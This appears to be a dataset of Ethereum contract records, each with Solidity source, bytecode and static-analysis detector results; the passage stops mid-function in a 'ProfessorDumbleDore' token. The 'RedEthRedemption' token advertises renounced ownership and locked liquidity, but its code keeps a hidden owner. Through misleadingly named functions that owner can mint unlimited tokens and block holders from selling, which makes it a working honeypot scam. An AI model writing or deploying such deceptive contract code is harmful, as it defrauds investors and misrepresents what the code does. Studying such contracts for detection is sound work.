d5b50505050565b600160a060020a031660009081526004602052604090205490565b600654600160a060020a03163314610c9157600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b600654600160a060020a03163314610cff57600080fd5b82600160a060020a031663095ea7b383836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d6020811015610d8c57600080fd5b50511515610aa257600080fd5b600160a060020a0382166000908152600560209081526040808320338452909152902054811115610dc957600080fd5b600160a060020a0382166000908152600560209081526040808320338452909152902054610dfd908263ffffffff61168016565b600160a060020a0383166000908152600560209081526040808320338452909152902055610e2b8282611590565b5050565b600654600090600160a060020a03163314610e4957600080fd5b60065474010000000000000000000000000000000000000000900460ff1615610e7157600080fd5b6006805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107e75780601f106107bc576101008083540402835291602001916107e7565b6008805482908110610f4a57fe5b60009182526020909120600290910201805460019091015490915082565b6000610f733361116c565b50610f7d8361116c565b50610a1e8383611692565b600960205281600052604060002081815481101515610fa357fe5b600091825260209091206002909102018054600190910154909250905082565b336000908152600560209081526040808320600160a060020a0386168452909152812054610ff7908363ffffffff61115f16565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a0316331461109e57600080fd5b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610d6257600080fd5b600654600160a060020a0316331461111857600080fd5b610a2f81611763565b600082151561113257506000610850565b5081810281838281151561114257fe5b041461085057fe5b6000818381151561115757fe5b049392505050565b8181018281101561085057fe5b600854600160a060020a0382166000908152600960205260408120549091829182918291101561131257600160a060020a03851660009081526009602052604081205490935091505b60085482101561128557600160a060020a038516600090815260046020526040812054116111e4576000611218565b60008054600160a060020a0387168252600460205260409091205460088054611218939261072b9290918790811061070b57fe5b600160a060020a03861660009081526009602090815260408083208151808301909252428252818301858152815460018181018455928652939094209151600290930290910191825591519101559050611278838263ffffffff61115f16565b92506001909101906111b5565b600083111561130957604051600160a060020a0386169084156108fc029085906000818181858888f193505050501580156112c4573d6000803e3d6000fd5b5060408051428152602081018590528151600160a060020a038816927f02a6a2be713fedf52f113c0a759f1c1a23a113476d9b1b1a2a453c910660de4e928290030190a25b60019350611317565b600093505b505050919050565b6000600160a060020a038316151561133657600080fd5b600160a060020a03841660009081526004602052604090205482111561135b57600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290205482111561138b57600080fd5b600160a060020a0384166000908152600460205260409020546113b4908363ffffffff61168016565b600160a060020a0380861660009081526004602052604080822093909355908516815220546113e9908363ffffffff61115f16565b600160a060020a03808516600090815260046020908152604080832094909455918716815260058252828120338252909152205461142d908363ffffffff61168016565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391926000805160206117e2833981519152929181900390910190a35060019392505050565b600654600090600160a060020a031633146114a057600080fd5b60065474010000000000000000000000000000000000000000900460ff16156114c857600080fd5b6000546114db908363ffffffff61115f16565b6000908155600160a060020a038416815260046020526040902054611506908363ffffffff61115f16565b600160a060020a038416600081815260046020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206117e28339815191529181900360200190a350600192915050565b600160a060020a0382166000908152600460205260409020548111156115b557600080fd5b600160a060020a0382166000908152600460205260409020546115de908263ffffffff61168016565b600160a060020a0383166000908152600460205260408120919091555461160b908263ffffffff61168016565b600055604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206117e28339815191529181900360200190a35050565b60008282111561168c57fe5b50900390565b6000600160a060020a03831615156116a957600080fd5b336000908152600460205260409020548211156116c557600080fd5b336000908152600460205260409020546116e5908363ffffffff61168016565b3360009081526004602052604080822092909255600160a060020a03851681522054611717908363ffffffff61115f16565b600160a060020a0384166000818152600460209081526040918290209390935580518581529051919233926000805160206117e28339815191529281900390910190a350600192915050565b600160a060020a038116151561177857600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206515d1f75a72e5dbc858186b60b21074b5ef1c64c7bfd3ab86f6767e5be461970029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 687 |
0xabb1282325fcbcb26098904a073f21de67a472a7 | /*
___________________ ______________________ ___________________ __________________________________________________
7 _ 77 77 \ 7 77 77 7 7 7 _ 77 77 \ 7 77 77 77 77 77 77 7
| _|| ___!| 7 | | ___!!__ __!| ! | | _|| ___!| 7 || ___!| _ _ || - |!__ __!| || 7 || _ |
| _ \ | __|_| | | | __|_ 7 7 | | | _ \ | __|_| | || __|_| 7 7 || ___! 7 7 | || | || 7 |
| 7 || 7| ! | | 7 | | | 7 | | 7 || 7| ! || 7| | | || 7 | | | || ! || | |
!__!__!!_____!!_____! !_____! !__! !__!__! !__!__!!_____!!_____!!_____!!__!__!__!!__! !__! !__!!_____!!__!__!
- FAIR LAUNCH! NO PRESALE WHALES 🚀
- LOCKED LIQUIDITY AND RENOUNCED OWNERSHIP - COMMUNITY BASED TOKEN! 🔒
- PASSIVE INCOME JUST BY HOLDING - STAKING PROGRAM RELEASED THIS WEEK! 💰
- AGGRESSIVE MARKETING PLAN - WITHIN THE FIRST WEEK, EXPECT TO SEE POPULAR CRYPTO TWITTER INFLUENCERS TALKING ABOUT OUR PROJECT AND A FEW AMAS WTIH POPULAR GROUPS. 😤 💥
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RedEthRedemption is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 116760814 * 10**18;
string private _name = 'Red Eth Redemption| @RedEthRedemption';
string private _symbol = 'RedEth';
uint8 private _decimals = 18;
uint256 private rTotal = 777777 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212202203b92da0223aa124202bc80f6c9ab4453f12be846fc6f81c23ae0e9738033d64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 688 |
0xd259dd3ed08ab751cc6209be68a1b51061ddde59 | // Welcome to ElonProfessor, join us on telegram: https://t.me/ProfessorDumbleDoreeeee
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ProfessorDumbleDore is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Professor DumbleDore ";
string private constant _symbol = " ProfessorDumbleDore ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
